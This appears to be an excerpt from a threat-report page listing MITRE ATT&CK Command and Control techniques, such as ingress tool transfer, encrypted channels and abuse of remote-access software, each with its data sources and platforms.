Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre